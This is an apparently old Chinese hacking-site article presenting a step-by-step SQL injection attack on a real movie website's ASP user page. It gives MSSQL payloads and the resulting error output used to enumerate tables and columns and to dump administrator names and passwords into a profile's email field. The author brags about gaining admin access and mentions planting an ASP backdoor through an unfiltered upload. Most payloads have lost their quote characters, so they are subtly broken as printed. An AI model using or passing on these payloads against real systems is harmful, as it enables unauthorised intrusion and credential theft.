- 热门文章:
- · 绕过Windows的身份认证
- · 软件限制策略的简单应用
- · 优化更安全:网络防火墙设置技巧
- · 维护不再是噩梦--网吧维护“圣经”
- · 刷QQ群的VBS脚本
- · 在自己的后院抵抗DNS攻击
- · 3种方法封锁BT下载
- · 系统安全技术研究
- · 菜鸟必练之入侵命令
- · Linux 2.4内核中新增功能指南
- · 攻---如何更简单的留你的webshell后门
- · Word文档安全保护妙招七则
上一篇:巧妙利用.mdb后缀数据库做后门 >>
SQL注入的新技巧
适用情况:
1)数据库是mssql
2)连接数据库的只是普通用户
3)不知道asp源代码
可以进行的攻击
1)对数据内容进行添加,查看,更改
实例:
本文件以
为列进行测试攻击。
第一步:
在输入用户名处输入单引号,显示
microsoft ole db provider for sql server 错误 80040e14
字符串 之前有未闭合的引号。
/user/wantpws.asp,行63
说明没有过滤单引号且数据库是mssql.
第二步:
输入a;use master;--
显示
microsoft ole db provider for sql server 错误 80040e21 多步le db 操作产生错误。如果可能,请检查每个 ole db 状态值。没有工作被完成。
/user/wantpws.asp,行63
这样说明没有权限了。
第三步:
输入:a or name like fff%;--
显示有一个叫ffff的用户哈。
第四步:
在用户名处输入
ffff and 1<>(select count(email) from [user]);--
显示:
microsoft ole db provider for sql server 错误 80040e37
对象名 user 无效。
/user/wantpws.asp,行96
说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.
输入a having 1=1--
一般返回如下也就可以直接得到表名和一个字段名了
microsoft ole db provider for sql server 错误 80040e14
列 users.id 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 group by 子句。
/user/wantpws.asp,行63
现在我们知道了ffff用户的密码是111111.
下面通过语句得到数据库中的所有表名和字段名。
第五步:
输入:
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad然后根据表名ad得到这个表的idffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
同上可知id是:581577110由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了象下面这样就可以得到第二个表的名字了ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk
经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的
第六步:猜重要表的字段
输入:
现在就看看users表有哪些字段
ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--
得到第三个字段是password
ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--
得到第四个字段是name
最后users表的字段共28个全得到了
(注:另一个得到字段的办法,前提是系统的返回出错信息
a group by id having 1=1--
得到
microsoft ole db provider for sql server 错误 80040e14
列 users.userid 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 group by 子句中。
/user/wantpws.asp,行63
这个第二个字段就是userid
显示第三个字段。
a group by id,userid having 1=1--
microsoft ole db provider for sql server 错误 80040e14
列 users.password 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 group by 子句中。
/user/wantpws.asp,行63
得到是password
同理,一直显示出所有。:)
)
users表
1 2 3 4
id userid password name
5 6 7 8 9 10 11 12 13 14 15 16
province homeaddress city adress starlook sex email nlook nos date money send
17 18 19 20 21 22 23 24 25 26 27 28
oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note
starlook--12 10 2003 2:41pm
nlook---0
nos---2 登陆次数
date--12 10 2003 12:00am 注册时间?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--这家伙很。。。 说明
password表
1 2 3
id name pwd
然后我又试ad原来是用来记录广告击点的。。
然后又试password表得到有name和pwd字段。
执行
ffff;update [users] set email=(select top 1 name from password) where name=ffff;--
可得第一个用户名是admin123看样儿多半是管理员了。
然后又得到了密码是dy***dick188还是打星号算了哈哈...
这样我们就完全进入了这个电影网站的后台了哈哈。
_blank>http://www.dy***.com/login.asp
再进一步还可以知道管理员一共有三人密码也都能看到了。
ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
只是能免费看电影好象还不够哈..我看了看它的后台管理原来在添加电影的地方对于上传的图片没有过滤.asa的文件,这样我就能上传一个asp后门并执行
()
下一篇:绕过Windows的身份认证 >>
相关文章:
- · 利用Windows内置功能轻松查看端口使用情况
- · 暴库入侵OBLOG
- · 深入学习Linux下的网络监听技术
- · 渗透攻击(NT/2000系统)
- · 动网SQL版-不得不说的问题
- · 让多套Windows之间的文件共享
- · 黑客突破防火墙常用的几种技术
- · 巧用IP安全策略保护您的重要数据
- · IP地址信息查询(WHOIS)服务的原理
- · 远程过程调用中间件技术简介
- · 对TCP和UDP的理解
- · 数据包嗅探器和协议分析器的区别
- · 溢出攻击介绍
- · 苹果机中如何安装Windows系统
- · 五板斧封杀Windows默认共享
- · 破解Word文档只读限制
- · 使Windows XP快上几倍的三招
- · 如何确定你的xp是不是原版
- · SQL Server数据库安全规划全攻略
- · 黑客通过网页窃取QQ方法解析
- · serv-U FTP软件的攻击防守
- · 开启网络终端连接最简单的方法
- · FreeBSD ipfw 防火墙基础指南
- · ping 命令的用法大全
- · WindowsXP蓝屏解决技巧大揭秘
- · Win XP后台打印文件夹位置任意定
- · 用注销脚本清除上网痕迹
- · 打造“苹果”版Win XP系统
- · 动网SQL版-不得不说的问题
- · 献给初学破解人的口诀和指令
- · Windows操作系统快捷键大全
- · 穿透防火墙的数据传输方法(附源码)
- · Voip全面介绍
- · 谁更美丽?两款XP主题美化软件对比
- · 禁用“命令提示符”
- · 快速确定特定端口的使用程序
- · Google你的Windows安全漏洞
- · phpBB Knowledge Base模块SQL注入和完整路径泄露漏洞
